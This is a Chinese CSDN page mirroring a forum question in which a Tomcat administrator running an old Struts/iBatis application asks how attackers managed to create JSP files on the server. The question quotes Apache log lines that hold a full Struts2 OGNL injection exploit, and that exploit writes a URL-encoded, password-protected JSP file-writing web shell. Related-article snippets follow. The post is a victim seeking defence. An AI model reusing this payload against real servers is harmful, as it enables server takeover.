java1%3c%3c30是什么意思,Java/Tomcat hacked [closed]

最新推荐文章于 2023-10-09 02:13:35 发布
最新推荐文章于 2023-10-09 02:13:35 发布
阅读量5.7k 收藏
点赞数
文章标签： java1%3c%3c30是什么意思
博客内容涉及了一次针对Tomcat服务器的黑客尝试，黑客试图通过创建jsp文件并注入恶意代码来获取权限。尽管攻击未成功达到其目标，但已成功在服务器上创建了文件，这暴露出服务器的安全隐患。Struts和iBatis框架被提及，可能成为攻击的入口。解决方案应包括加强服务器配置，限制不必要的文件写入权限，并更新安全补丁。
摘要由CSDN通过智能技术生成

I have had a few files show up on my tomcat server lately that are obviously hacker attempts. I support an older application that uses struts and ibatis along with various other frameworks. Three files were created, a system1.jsp under the actual webapp directory, so like tomcat/webapps/ROOT/system1.jsp, and then two other files that were created under tomcat/webapps/system2.jsp and tomcat/webapps/system3.jsp.

The content of these files strange, it looks like its trying to create a user account, which would seem like a long shot. The way struts was set up there is no way they would actually reach those jsp files anyways, what makes me worry is the fact that they were able to create these files at all. How can I prevent this from happening?

Here is the apache log from the hack, as well as the rest of the code,

198.211.11.202 - - [28/Apr/2013:02:05:34 -0500] "GET request!start.do?

('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)

(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\\43req\\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i12)(('\\43xman\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i13)(('\\43xman.getWriter().println(\\43req.getServletContext().getRealPath(%22\\u005c%22))')(d))&(i2)(('\\43fos\\75new\\40java.io.FileOutputStream(new\\40java.lang.StringBuilder(\\43req.getRealPath(%22\\u005c%22)).append(@java.io.File@separator).append(%22system1.jsp%22).toString())')(d))&(i3)(('\\43fos.write(\\43req.getParameter(%22t%22).getBytes())')(d))&(i4)(('\\43fos.close()')(d))&t=%3C%25%40page+contentType%3D%22text%2Fhtml%3B+charset%3DGBK%22+import%3D%22java.io.*%3B%22%25%3E%0A%3C%25%21private+String+password%3D%22hehe%22%3B%2F%2F%E6%B7%87%EE%86%BD%E6%95%BC%E7%80%B5%E5%97%99%E7%88%9C%25%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%3Ctitle%3Ehahahaha%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody+bgcolor%3D%22%23ffffff%22%3E%0A%3C%25%0AString+act%3D%22%22%3B%0AString+path%3Drequest.getParameter%28%22path%22%29%3B%0AString+content%3Drequest.getParameter%28%22content%22%29%3B%0AString+url%3Drequest.getRequestURI%28%29%3B%0AString+url2%3Drequest.getRealPath%28request.getServletPath%28%29%29%3B%0Atry%0A%7Bact%3Drequest.getParameter%28%22act%22%29.toString%28%29%3B%7D%0Acatch%28Exception+e%29%7B%7D%0Aif%28request.getSession%28%29.getAttribute%28%22hehe%22%29%21%3Dnull%29%0A%7B%0Aif%28request.getSession%28%29.getAttribute%28%22hehe%22%29.toString%28%29.equals%28%22hehe%22%29%29%0A%7B%0Aif+%28path%21%3Dnull+%26%26+%21path.equals%28%22%22%29+%26%26+content%21%3Dnull+%26%26+%21content.equals%28%22%22%29%29%0A%7B%0A+++try%7B%0A+++++File+newfile%3Dnew+File%28path%29%3B%0A+++++PrintWriter+writer%3Dnew+PrintWriter%28newfile%29%3B%0A+++++writer.println%28content%29%3B%0A+++++writer.close%28%29%3B%0A+++++if+%28newfile.exists%28%29+%26%26+newfile.length%28%29%3E0%29%0A+++++%7B%0A+++++++out.println%28%22%3Cfont+size%3D3+color%3Dred%3Esave+ok%21%3C%2Ffont%3E%22%29%3B%0A+++++%7Delse%7B%0A+++++++out.println%28%22%3Cfont+size%3D3+color%3Dred%3Esave+erry%21%3C%2Ffont%3E%22%29%3B%0A+++++%7D%0A+++%7Dcatch%28Exception+e%29%0A+++%7B%0A+++++e.printStackTrace%28%29%3B%0A+++%7D%0A%7D%0Aout.println%28%22%3Cform+action%3D%22%2Burl%2B%22+method%3Dpost%3E%22%29%3B%0Aout.println%28%22%3Cfont+size%3D3%3E%3Cbr%3E%3C%2Ffont%3E%3Cinput+type%3Dtext+size%3D54+name%3D%27path%27%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Cfont+size%3D3+color%3Dred%3E%22%2Burl2%2B%22%3C%2Ffont%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Ctextarea+name%3D%27content%27+rows%3D15+cols%3D50%3E%3C%2Ftextarea%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27submit%27+value%3D%27save%21%27%3E%22%29%3B%0Aout.println%28%22%3C%2Fform%3E%22%29%3B%0A%7D%0A%7Delse%7B%0Aout.println%28%22%3Cdiv+align%3D%27center%27%3E%3Cform+action%3D%27%3Fact%3Dlogin%27+method%3D%27post%27%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27password%27+name%3D%27pass%27%2F%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27submit%27+name%3D%27update%27+class%3D%27unnamed1%27+value%3D%27Login%27+%2F%3E%22%29%3B%0Aout.println%28%22%3C%2Fform%3E%3C%2Fdiv%3E%22%29%3B%0A%7Dif%28act.equals%28%22login%22%29%29%0A%7B%0A++++String+pass%3Drequest.getParameter%28%22pass%22%29%3B%0A++++if%28pass.equals%28password%29%29%0A++++%7B%0A+++++session.setAttribute%28%22hehe%22%2C%22hehe%22%29%3B%0A+++++String+uri%3Drequest.getRequestURI%28%29%3B+++%0A+++++uri%3Duri.substring%28uri.lastIndexOf%28%22%2F%22%29%2B1%29%3B+%0A++++response.sendRedirect%28uri%29%3B%0A++++%7Delse%0A++++%7B%0Aout.println%28%22Error%22%29%3B%0Aout.println%28%22%3Ca+href%3D%27javascript%3Ahistory.go%28-1%29%27%3E%3Cfont+color%3D%27red%27%3Ego+back%3C%2Ffont%3E%3C%2Fa%3E%3C%2Fdiv%3E%3Cbr%3E%22%29%3B%0A++++%7D%0A++++%7D%0A%25%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E HTTP/1.1" 200 12387

198.211.11.202 - - [28/Apr/2013:02:05:35 -0500] "GET /request!start.do?('\\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\\43req\\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\\43xman\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\\43xman\\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\\43xman.getWriter().println(\\43req.getRealPath(%22\\u005c%22))')(d))&(i99)(('\\43xman.getWriter().close()')(d)) HTTP/1.1" 200 29

198.211.11.202 - - [28/Apr/2013:02:05:35 -0500] "GET /request!start.do?('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\\43req\\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\\43fos\\75new\\40java.io.FileOutputStream(\\43req.getParameter(%22path%22))')(d))&(i3)(('\\43fos.write(\\43req.getParameter(%22t%22).getBytes())')(d))&(i4)(('\\43fos.close()')(d))&t=%3C%25%40page+contentType%3D%22text%2Fhtml%3B+charset%3DGBK%22+import%3D%22java.io.*%3B%22%25%3E%0A%3C%25%21private+String+password%3D%22hehe%22%3B%2F%2F%E6%B7%87%EE%86%BD%E6%95%BC%E7%80%B5%E5%97%99%E7%88%9C%25%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%3Ctitle%3Ehahahaha%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody+bgcolor%3D%22%23ffffff%22%3E%0A%3C%25%0AString+act%3D%22%22%3B%0AString+path%3Drequest.getParameter%28%22path%22%29%3B%0AString+content%3Drequest.getParameter%28%22content%22%29%3B%0AString+url%3Drequest.getRequestURI%28%29%3B%0AString+url2%3Drequest.getRealPath%28request.getServletPath%28%29%29%3B%0Atry%0A%7Bact%3Drequest.getParameter%28%22act%22%29.toString%28%29%3B%7D%0Acatch%28Exception+e%29%7B%7D%0Aif%28request.getSession%28%29.getAttribute%28%22hehe%22%29%21%3Dnull%29%0A%7B%0Aif%28request.getSession%28%29.getAttribute%28%22hehe%22%29.toString%28%29.equals%28%22hehe%22%29%29%0A%7B%0Aif+%28path%21%3Dnull+%26%26+%21path.equals%28%22%22%29+%26%26+content%21%3Dnull+%26%26+%21content.equals%28%22%22%29%29%0A%7B%0A+++try%7B%0A+++++File+newfile%3Dnew+File%28path%29%3B%0A+++++PrintWriter+writer%3Dnew+PrintWriter%28newfile%29%3B%0A+++++writer.println%28content%29%3B%0A+++++writer.close%28%29%3B%0A+++++if+%28newfile.exists%28%29+%26%26+newfile.length%28%29%3E0%29%0A+++++%7B%0A+++++++out.println%28%22%3Cfont+size%3D3+color%3Dred%3Esave+ok%21%3C%2Ffont%3E%22%29%3B%0A+++++%7Delse%7B%0A+++++++out.println%28%22%3Cfont+size%3D3+color%3Dred%3Esave+erry%21%3C%2Ffont%3E%22%29%3B%0A+++++%7D%0A+++%7Dcatch%28Exception+e%29%0A+++%7B%0A+++++e.printStackTrace%28%29%3B%0A+++%7D%0A%7D%0Aout.println%28%22%3Cform+action%3D%22%2Burl%2B%22+method%3Dpost%3E%22%29%3B%0Aout.println%28%22%3Cfont+size%3D3%3E%3Cbr%3E%3C%2Ffont%3E%3Cinput+type%3Dtext+size%3D54+name%3D%27path%27%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Cfont+size%3D3+color%3Dred%3E%22%2Burl2%2B%22%3C%2Ffont%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Ctextarea+name%3D%27content%27+rows%3D15+cols%3D50%3E%3C%2Ftextarea%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27submit%27+value%3D%27save%21%27%3E%22%29%3B%0Aout.println%28%22%3C%2Fform%3E%22%29%3B%0A%7D%0A%7Delse%7B%0Aout.println%28%22%3Cdiv+align%3D%27center%27%3E%3Cform+action%3D%27%3Fact%3Dlogin%27+method%3D%27post%27%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27password%27+name%3D%27pass%27%2F%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27submit%27+name%3D%27update%27+class%3D%27unnamed1%27+value%3D%27Login%27+%2F%3E%22%29%3B%0Aout.println%28%22%3C%2Fform%3E%3C%2Fdiv%3E%22%29%3B%0A%7Dif%28act.equals%28%22login%22%29%29%0A%7B%0A++++String+pass%3Drequest.getParameter%28%22pass%22%29%3B%0A++++if%28pass.equals%28password%29%29%0A++++%7B%0A+++++session.setAttribute%28%22hehe%22%2C%22hehe%22%29%3B%0A+++++String+uri%3Drequest.getRequestURI%28%29%3B+++%0A+++++uri%3Duri.substring%28uri.lastIndexOf%28%22%2F%22%29%2B1%29%3B+%0A++++response.sendRedirect%28uri%29%3B%0A++++%7Delse%0A++++%7B%0Aout.println%28%22Error%22%29%3B%0Aout.println%28%22%3Ca+href%3D%27javascript%3Ahistory.go%28-1%29%27%3E%3Cfont+color%3D%27red%27%3Ego+back%3C%2Ffont%3E%3C%2Fa%3E%3C%2Fdiv%3E%3Cbr%3E%22%29%3B%0A++++%7D%0A++++%7D%0A%25%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E&path=/opt/tomcat/webapp/ROOT/system2.jsp HTTP/1.1" 200 12387

weixin_39823200
关注
java1%3c%3c30是什么意思,JAVA代码求解
weixin_32829465的博客
03-21 182
JAVA代码求解来源:互联网宽屏版评论2012-05-21 00:20:25分类: 电脑/网络 >> 程序设计 >> 其他编程语言问题描述:参考答案:javascript如果我没猜错的话 楼上的那个字符串是URL码baidu一下 有很多关于url码的文章说我猜得对那我继续帮你猜一下if(window.name!="aaa"){top.location.href="...
java的 %3c%3c 运算符_Java--运算符
weixin_35108433的博客
03-01 1801
Java 语言中常用的运算符可分为如下几种：Ø算术运算符Ø赋值运算符Ø比较运算符Ø逻辑运算符Ø条件运算符1、算术运算符int b= a++;//先赋值在自加int b=++a;//先自加后赋值2、比较运算符3、赋值运算符1、 > 、 < 、 >= 、 <= 只支持左右两边操作数是数值类型2、 == 、 != 两边的操作数既可以是数值类型，也可以是引用类型4、逻...
java 正则表达式 贪婪匹配_实例解析Java程序中正则表达式的贪婪模式匹配
weixin_29159613的博客
02-18 1503
贪婪模式(Greedy)：数量表示符默认采用贪婪模式，除非另有表示。贪婪模式的表达式会一直匹配下去，直到无法匹配为止。如果你发现表达式匹配的结果与预期的不符，很有可能是因为——你以为表达式只会匹配前面几个字符，而实际上它是贪婪模式，所以会一直匹配下去。贪婪与非贪婪，加上?为非贪婪：var s = '1023000'.match(/(\d+)(0*)/);s["1023000", "1023000"...
java移位运算符%3c%3c,Java人也不能忘记的~~位操作技巧
weixin_39890652的博客
03-16 484
一。数字运算与位运算在2进制里面，一个位只可能是0，或者1。 java里面支持的位运算有：~ 按位非(NOT)& 按位与(AND)| 按位或(OR)^ 按位异或(XOR位操作需要跟逻辑操作区分开(逻辑运算符AND(&&)、OR(||)以及NOT(!)能生成一个布尔值(true或false) ——以自变量的逻辑关系为基础) ，这里的区分的重点是敲代码不要敲错了。。。。二。数字...
php中的%3c %3e,PHP——表单
weixin_39679468的博客
03-09 1086
PHP——表单表单处理收集表单数据$_GET$_POST举个例子(以POST方式为例，GET和POST类似，直叙改方式为get,$_POST为$_GET)htmlbodyform action="welcome.php" method="post"Name:input type="text" name="name"brE-mail:input type="text" name="email"bri...
html %3c t%3e,机器学习识别XSS实践
weixin_26849971的博客
06-16 1904
前言前日看到大佬发的机器学习识别XSS的项目代码于是搞了一把，记录一下遇到的问题思路大佬代码中给出的流程：数据集：GET/POST query范化、分词:将数字串、链接替换为固定词，然后用正则分词特征(word2vec)神经网络(MLP/RNN/CNN)我实践的流程：范化，分词流程不变特征(分别尝试了word2vec、doc2vec、统计特征)SVM数据预处理以下是在本地做数据预处理时的 jupy...
%3c php%3e应用实例,PHP 表单验证
weixin_34081553的博客
03-24 267
通过 PHP 验证表单数据我们要做的第一件事是通过 PHP 的 htmlspecialchars() 函数传递所有变量。在我们使用 htmlspecialchars() 函数后，如果用户试图在文本字段中提交以下内容：location.href('http://www.hacked.com')- 代码不会执行，因为会被保存为转义代码，就像这样：<script>location.href(...
反编译java源码-The-Best-Hacked-Client-for-Minecraft:在这里，我们的目标是为MinecraftJava
06-01
反编译java源码Minecraft 的最佳黑客客户端 在这里，我们的目标是为 Minecraft Java 版编译“黑客”客户端，并将它们放入一个易于理解的 GUI 中。 任何来自其他来源的反编译代码都必须在引文分支中引用。
Forex Hacked 2.5 edu.rar_Forex Hacked_Forex-Hacked_Forex-Hacked-
07-14
1. **外汇交易自动化**："Forex Hacked"是一个自动化交易系统，能够根据预设的算法自动执行买卖操作，减轻交易者的手动工作量。 2. **网格交易策略**：该软件可能运用了网格交易策略，用户在不同价位布下买卖订单，...
Minecraft-Hack-BaseClient：这是Minecraft基本客户端
02-04
需要什么 网络连接 至少4GB的RAM Java JDK（1.8） Java JRE（1.8） 一个IDE（该设置用于Eclipse，但也可以在上设置MCP） 视频！ 现在有一个，显示了如何设置客户端。 -视频不是最新的，缺少步骤。 在更新之前，...
Java Web 应用的安全攻防之 CSRF 漏洞分析
AI天才研究院
10-09 813
CSRF（Cross-site request forgery）跨站请求伪造，也被称为“one-click attack”或者Session riding，其利用网站对用户浏览器的信任，通过伪装成用户正常操作的动作，达到恶意盗取用户信息、执行违规操作等目的，是一种常用的Web应用安全漏洞。CSRF在很多Web应用中都存在着严重的隐患，攻击者可以盗用用户的登录信息、Cookie等，进而冒充用户进行各种恶意操作。因此，保护用户的个人信息安全、系统安全应首要考虑。
【Java】我的世界Java版外挂制作 [1] - 模块管理器与第一个模块
weixin_73094528的博客
10-15 4996
1 模块管理器与第一个模块
java处理dataurl_如何理解data URL？
weixin_32760485的博客
02-26 747
canvas有一个非常常用的方法canvas.toDataURL()，它会将canvas转化为data URL的格式。通常情况下这个data URL的类型为image。看看下面的例子：var canvas = document.getElementById('canvas');var dataURL = canvas.toDataURL();console.log(dataURL);/** dat...
【超强组合】基于淘金优化算法GRO-BP-Adaboost的数据分类预测算法Matlab实现.rar
最新发布
10-08
1.版本：matlab2014/2019a/2024a 2.附赠案例数据可直接运行matlab程序。 3.代码特点：参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象：计算机，电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。 替换数据可以直接使用，注释清楚，适合新手
VMware Workstation Pro 和 VMware Fusion 安装与配置指南
10-08
内容概要：本文档详细指导了如何在不同的主机环境下，通过 VMWare 的两款产品——Workstation Pro 和 Fusion 进行新虚拟机的构建流程以及具体的操作要点说明。 适用人群：希望在单一机器上部署多操作系统的工作环境或学习测试场景的技术人员和学生。 使用场景及目标：旨在帮助初学者搭建属于自己的虚拟机实验平台，从而方便进行软件测试或者研究操作系统相关的新特性等任务，同时也有利于团队间的协作和资源调配。 注意事项：文中涉及的具体操作如下载源文件、配置网络参数时要注意版权合法性问题和技术安全防范。此外还需依据各自电脑的软硬件条件适当增减虚拟机的资源设定。
科研经费管理系统 SSM毕业设计 源码+数据库+论文（JAVA+SpringBoot+Vue.JS）.zip
10-08
科研经费管理系统 SSM毕业设计 源码+数据库+论文（JAVA+SpringBoot+Vue.JS） 启动教程：https://www.bilibili.com/video/BV1GK1iYyE2B
使用Python Matplotlib进行图形输出与保存详解（包含详细的完整的程序和数据）
10-08
内容概要：本文详细介绍了使用 Python 的 Matplotlib 库来输出和保存图形的方法。不仅涉及了基本流程，如生成图表并将之导出成PNG、PDF和SVG等不同格式的内容，还包括高级话题如设置透明度、分辨率以及制作包含图形元素的HTML页面等。文章通过一个具体的示例代码讲解了各个环节的关键细节和技术要点。 适用人群：对数据可视化有兴趣的初学者及具有一定基础想要深入学习 Matplotlib 使用技巧的技术人员。 使用场景及目标：适用于需要掌握 Matplotlib 不同输出选项及其特点的应用场合，尤其是当需要生成用于打印或网页展示的高质量、可自定义外观的图形时。
在以下这段代码中，我如何才能通过scanf()函数实现对hacker()函数的调用？#include <stdio.h> #include "string.h" void outputs(char* str){ char buffer[16]; // printf("%s \n", str); strcpy(buffer, str); printf("%s \n", buffer); } void hacker(void){ printf("being hacked\n"); } int main(int argc, char* argv[]){ printf("%x\n",hacker); scanf("%x",&argv); printf("%x",argv[1]); outputs(argv[1]); return 0; }
05-30
在以上代码中，通过`scanf()`函数实现对`hacker()`函数的调用是不可能的，因为`hacker()`函数是一个无参函数，而`scanf()`函数只能读取输入并将其存储为变量的值，而无法直接调用函数。 另外，在`scanf()`函数中，应该使用`&`符号获取变量的地址，而不是获取`argv`的地址。因此，将`scanf()`函数的参数改为`%x`和`&hacker`，可以将`hacker()`函数的地址读入到变量中。但是，这并不能直接调用`hacker()`函数。 如果要通过用户输入来调用函数，需要使用函数指针。首先，定义一个函数指针，指向`hacker()`函数： ```c void (*hacker_ptr)(void) = &hacker; ``` 然后，将用户输入的十六进制数转换为函数指针类型，并将其赋值给函数指针： ```c scanf("%lx", &hacker_ptr); ``` 最后，通过函数指针调用`hacker()`函数： ```c (*hacker_ptr)(); ``` 完整代码如下： ```c #include <stdio.h> #include <string.h> void outputs(char* str){ char buffer[16]; strcpy(buffer, str); printf("%s \n", buffer); } void hacker(void){ printf("being hacked\n"); } int main(int argc, char* argv[]){ printf("%lx\n", (unsigned long)&hacker); void (*hacker_ptr)(void) = &hacker; scanf("%lx", &hacker_ptr); (*hacker_ptr)(); outputs(argv[1]); return 0; } ``` 注意，这种做法可能会导致系统安全问题，因为它允许用户通过输入来执行任意代码。建议不要在生产环境中使用这种做法。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值